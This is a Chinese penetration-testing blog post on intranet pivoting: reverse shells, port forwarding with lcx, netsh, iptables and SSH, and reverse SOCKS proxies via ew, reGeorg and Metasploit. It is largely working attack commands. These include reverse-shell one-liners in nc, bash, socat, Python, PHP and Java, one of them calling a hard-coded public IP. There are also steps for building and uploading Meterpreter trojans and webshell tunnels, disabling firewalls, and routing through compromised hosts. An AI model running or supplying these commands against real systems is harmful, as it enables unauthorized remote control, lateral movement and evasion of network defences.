内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

目的

渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入,此时就需要内网转发

需要转发的情况

1.A可以访问B的80端口,但是不能访问B的3389端口
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信

代理方式

正向代理

正向代理是服务器开放端口,客户端主动访问服务器的端口

 
我们常说的代理就是指正向代理,正向代理的过程,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。
举个例子在国内用浏览器访问 www.google.com 时,因为防火墙的原因拒绝连接,这时候你可以在国外搭建一台代理服务器,让代理帮你去请求google.com,代理把请求返回的相应结构再返回给你。

反向代理

反向代理是客户端开发端口,服务器连接客户端


反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去,比如说负载均衡。

内网转发形式

反弹shell:在攻击者机器,获取受害者机器的命令行
反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
反弹代理:将攻击者的流量转发到内网其他服务器上

反弹shell

1.工具nc使用

1.1 利用nc正向连接shel

条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口
 (受害机输入)

nc -lvp 4444 -e cmd.exe      (反弹windows shell)
nc -lvp 4444 -e /bin/bash     (反弹linux shell)

此处以windows为例:


步骤二:攻击机连接被控服务器的4444端口
(攻击机输入)

nc -vv 受害机ip 4444

1.2 利用nc反弹shell(常用)

条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)

nc -lvp 4444


步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)

nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)

此处以windows为例:

2.工具msf使用

2.1 msfconsole

作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透。。。

模块介绍:

exploits:攻击脚本
payloads:攻击载荷(攻击效果控制)
auxiliaru:辅助模块(扫描工具等)
post:后渗透模块(提取信息)
encoders编码模块
nops:无操作生成器

2.2 msfvenom

作用:制作木马

2.3 msfencode

作用:对木马进行编码

2.4 msf使用:

请点击此链接查看我的另一篇文章,介绍了msf具体使用

3.其他Linux反弹shell方法

方式:

利用系统自带的bash和gawk
利用脚本:python、perl、ruby、lua、php、jsp、aspx
利用第三方服务或工具:elnet、xterm、socat、nc

例:

3.1.1 nc发送shell
发送端(公网服务器):

nc -lvvp 6666 -e /bin/bash

接收端:

nc 发送端ip 发送端攻击者ip

3.1.2 nc反弹shell
接收端:

nc -lvvp 6666

发送端(内网网服务器):

nc 接收端ip 接收端端口 -e /bin/bash

3.2 bash反弹
接收端(hackip,公网):

nc -lvvp 端口

发送端(受害者):

bash -i >& /dev/tcp/111.230.170.95/9985 0>&1

或者发送端(受害者):

0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31

3.3.1 socat反弹(tcp)
接收端(攻击机):

./socat TCP-LISTEN:端口

发送端(靶机):

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口

3.3.2 socat反弹(udp)
接收端:

nc -lvvp 8080

发送端:

socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

3.4 python反弹

接收端(攻击机,外网):

nc -lvvp 端口

发送端(靶机):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

3.5 PHP反弹
接收端:

nc -lvvp 端口

发送端:

php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

3.6 JAVA反弹
接收端:

nc -lvvp 端口

发送端:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

反弹端口(此处以3389为例)

条件

1.访问服务器的3389端口时,由于一些原因无法访问
原因:1.3389端口,防火墙没有开放    2.服务器处于公司内网,对外只发布了80端口     3.3389端口只允许内网连接.................
2.服务器处于公司内网,我们没有办法直接访问服务器
3.服务器处于公司内网,且无法与外网服务器直接通信,无法反弹shell

lcx工具使用

Lcx简要使用介绍

三种模式
listen:监听,同时监听两个端口:第一个是服务器开放的,第二个是在本地新开一个用来操作的
tran:转发,将一个端口的流量转发到另一个端口
slave: 将一个外网端口和一个内网端口进行连接

先将lcx上传到目标服务器(有时还需要上传到内网边界机),之后再从以下几种转发方式进行选择

LCX正向端口转发

环境:3389端口不对外开放,但是1234端口对外开放

作用:
一般对外的服务器,80,8080,53,21等等,3389端口没有对外开放,但是有其他端口对外开放,此时可以本地端口转发,转发的端口必须没有被其他服务占用

基本:(防火墙允许3389流量通过)

1.被控服务器输入命令将3389端口转发到本地(被控服务器)的1234端口(本地端口转发)

lcx -tran 1234 127.0.0.1 3389

2.攻击机连接被控服务器的1234端口(mstsc远程)

进阶:(防火墙不允许3389端口流量通过)

使用reduh来进行转发:

思路:Mstsc客户端–>reDuh 代理–>HTTP tunne–>Web 服务器–>3389

具体使用过程见本人的另一篇文章,点击此处跳转

LCX反向端口转发

1.攻击机开启监听

lcx -listen 4444 12345

2.被控服务器输入命令,将端口转发到攻击机

lcx.exe -slave 攻击机IP 端口 被控服务器IP 端口

3.攻击机连接本地的12345端口(mstsc远程,127.0.0.1:12345)

lcx多级级联反弹内网主机端口

网络配置情况

内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.0.106,内网边界机2的ip:192.168.16.129和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2,2-3通,1-3不通

情况一

环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时目标服务器3的3389端口只能内网边界机2访问

1.攻击机1开启监听

lcx -listen 4444 12345

2.内网边界机2输入命令,将端口转发到攻击机1

lcx.exe -slave 攻击机1IP  端口 目标服务器3IP  端口

3.在攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)

情况二

环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时3389端口只能本地访问,但是8080端口对外开放。

1.目标服务器3输入命令将3389端口转发到本地的8080端口

lcx -tran 8080 127.0.0.1 3389

2.在内网边界机2输入命令,将目标服务器3的8080端口转发到攻击机1

lcx -slave 攻击机1IP 端口 目标服务器3IP 端口

3.在攻击机1上监听端口

lcx –listen 4444 12345

4.外网攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)

利用netsh(windows防火墙)

条件:

要求至少管理员权限,此工具适用于,有一台双网卡服务器(内网边缘机),你可以通过它进行内网通信,比如连接192.168.206.101:3388端口是连接到192.168.206.100上面的3389,以下操作都是在边缘机进行

1.边缘机添加转发规则

netsh interface portproxy set v4tov4 listenaddress=外网可访问地址(服务器外网ip) listenport=外网可访问端口 connectaddress=内网目标想要访问的地址(内网同网段其他机或本机ip都可) connectport=内网目标想要访问的端口

 

边缘机放行防火墙端口
 

netsh advfirewall firewall add rule name="mysql" dir=in protocol=tcp localport=要放行的端口 action=allow

3.边缘机删除转发规则

netsh interface portproxy delete v4tov4 listenport=外网可访问端口 listenaddress=外网可访问地址(服务器外网ip)

4.边缘机查看现有规则

netsh interface portproxy show all

5.之后直接访问边缘机2222端口

http隧道tunna端口转发

tunna基本使用:-s不能中断  -v显示详细信息 -u指定地址 -a指定远程地址

1.上传tunna里的webshell到边缘服务器

2.在攻击机输入命令,将目标服务器3389转发到本地(攻击机)1234

python proxy.py -u http://192.168.16.141/conn.aspx(webshell上传路径) -l 1234 -a 内网目标服务器ip -r 3389 -s -v

3.直接访问本机的1234端口

利用 iptables(linux防火墙)

1.编辑配置文件

/etc/sysctl.conf的net.ipv4.ip_forward = 1

2.关闭服务

service iptables stop

3.配置规则

iptables -t nat -A PREROUTING --dst 内网边界服务器ip -p tcp --dport 3389 -j DNAT --to-destination 需要访问的内网地址ip:3389
iptables -t nat -A POSTROUTING --dst 需要访问的内网地址ip -p tcp --dport 3389 -j SNAT --to-source 内网边界服务器ip

4.保存&&重启服务

service iptables save && service iptables start

ssh隧道端口转发

基本使用:-L 本地  -R 远程

本地转发(正向代理)

1.攻击机输入命令,之后输密码(对应用户)

ssh -CfNg -L 转发后的端口:目标服务器ip:转发的端口 边缘服务器用户@边缘服务器ip

2.攻击机连接本地的4444端口就连接到了目标服务器的3389端口

rdesktop  127.0.0.1:4444

远程转发(反向代理)

1.边缘服务器输入命令,之后输密码(对应用户)

ssh -CfNg -R 转发后的端口:目标服务器ip:转发的端口 攻击机用户@攻击机ip

2.此时攻击机3333端口开启,直接连接本机的3333端口

rdesktop 127.0.0.1:3333

 

动态隧道(转发所有流量)

1.攻击机输入命令,之后输密码(对应用户)

ssh -CfNg -D 本地开放端口 边缘服务器用户@边缘服务器ip

2.攻击机火狐浏览器网络设置里的连接设为访问流量走7000端口隧道(或者直接bp设置代理),之后直接访问基本的一些端口都可以访问

反弹shell与反弹端口结合使用

网络配置情况

内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.16.130,内网边界机2的ip:192.168.16.129和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2,2-3通,1-3不通

环境

有时我们无法直接访问目标服务器,也就无法反弹shell,此时就需要一个内网的边缘机来进行转发端口,通过这个转发的端口再进行反弹shell

使用方法

1.攻击机输入msfconsole打开msf(msf具体使用见上面链接),选择合适的payload:windows/meterpreter/reverse_tcp

2.选择此payload,并制作对应的木马

选择payload:

use windows/meterpreter/reverse_tcp

制作木马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.1.1.1(内网边界机2的内网ip) lport=12345(端口) -o 111.exe

3.上传111.exe到目标服务器3

4.攻击机1开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.16.130(本机ip)
exploit

5.内网边界机2输入命令将12345端口转发到攻击机1的4444端口

lcx -tran 12345 192.168.16.130 4444

6.目标服务器3运行111.exe将1234端口发送到内网边界机2,再由内网边界机2将1234端口转发成4444端口发送给攻击机1,攻击机1就会接收到目标服务器3的shell

反弹代理

介绍

内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要设置找到一个代理服务器,充当外网和内网数据转发的节点母的,所以出现了反弹代理,也叫反弹socket,进行反弹代理后,就可以访问目标机的所有端口了

工具ew

正向代理

攻击机为windows

1.选择合适的ew文件,上传到边缘服务器

2.边缘服务器输入

ew.exe -s ssocksd -l 8000

3.攻击机使用bp的optional添加代理(socks5,ip为边缘服务器ip,8000端口),之后直接访问目标服务器基本的一些端口都可以访问

4.此时3389仍然不行,可借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为边缘服务器ip,8000端口)

5.之后直接访问目标服务器任意端口即可

攻击机为Linux

1.选择合适的ew文件,上传到边缘服务器

2.边缘服务器输入

ew.exe -s ssocksd -l 8000

3.攻击机火狐浏览器网络设置里的连接设为访问流量走8000端口代理(或者直接bp设置代理),之后直接访问目标服务器基本的一些端口都可以访问

4.此时攻击机3389仍然不能访问,可借助proxychains(kali自带)配置攻击机整台机器的代理
4.1 输入gedit /etc/proxychains.conf,按里面的说明进行设置

4.2.输入以下命令即可通过代理访问

proxychains 命令(rdesktop 10.1.1.2)

反向代理

1.攻击机运行以下命令,将8888端口转发到1080端口

ew -s rcsocks -l 1080 -e 8888

2.在目标服务器上启动SOCKS v5服务,并反弹到攻击机的8888端口

ew.exe -s rssocks -d 攻击机ip -e 8888

3.攻击机借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为攻击机ip,1080端口)

4.之后直接访问目标服务器任意端口即可

进阶(内网两层边缘服务器)

情况:

外网与内网存在边界机,内网里分为两个区域,内网区域与dmz区域之间也存在边界机,此时需要两台边界机代理两次

网络配置:

攻击机192.169.0.106,内网边界机1ip:192.168.16.1和10.1.1.1,内网dmz边界机2ip:10.1.1.2和172.1.1.1,dmz区目标服务器ip:172.1.1.2

ew转发(正向)

1.内网dmz边界机2输入命令,开启端口监听

ew -s ssocksd -l 1234

2.内网边界机1输入命令,将攻击机的1080端口转发到内网dmz边界机2的1234端口

ew -s lcx_tran -l 1080 -f 内网dmz边界机2ip -g 1234

3.攻击机借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为内网边界机1ip,1080端口)

4.之后直接访问目标服务器任意端口即可

ew转发(反向)

1.攻击机输入命令,开启端口监听

ew -s lcx_listen -l 1080 -e 5678

2.内网dmz边界机2输入命令,将2345端口进行转发

ew -s ssocksd -l 2345

3.内网边界机1输入命令,将内网dmz边界机2的2345端口转发到攻击机5678端口

ew -s lcx_slave -d 攻击机ip -e 5678 -f 内网dmz边界机2ip -g 2345

4.攻击机借助proxifier工具配置攻击机整台机器的代理(proxifier添加代理服务器,ip为本机ip,1080端口)

5.之后直接访问目标服务器任意端口即可

工具reGeorg(http隧道)

1.上传reGeorg里合适的tunnel到边缘服务器


2.攻击机输入命令

python reGeorgSocksProxy.py -u http://192.168.16.129/tunnel.aspx(上传地址)


3.攻击机输入gedit /etc/proxychains.conf ,按里面的说明进行设置proxychains

socks5 127.0.0.1 8888

4.使用proxychains直接代理连接目标服务器即可

proxychains rdesktop 10.1.1.2

工具msf

1.选择合适的payload并制作木马,之后将木马上传到边缘服务器

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.16.130(本机ip) lport=4444 -f exe -o 123.exe

2.攻击机配置监听此payload

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.16.130(本机ip)
exploit

3.运行边缘服务器的木马,攻击机就收到一个meterpreter(sessions)

4.攻击机输入background将此sessions放到后台运行

5.攻击机输入命令,给边缘服务器添加路由

route add 10.1.1.1 255.0.0.0(边缘服务器的内网ip与子网掩码) 1

6.利用此路由生成代理端口1080

use auxiliary/server/socks4a 
exploit -y   -y(后台执行)

7.攻击机输入gedit /etc/proxychains.conf ,按里面的说明进行设置proxychains

socks4 127.0.0.1 1080

8.使用proxychains直接代理连接目标服务器即可

proxychains rdesktop 10.1.1.2

发布了59 篇原创文章 · 获赞 166 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/wsnbbz/article/details/104893482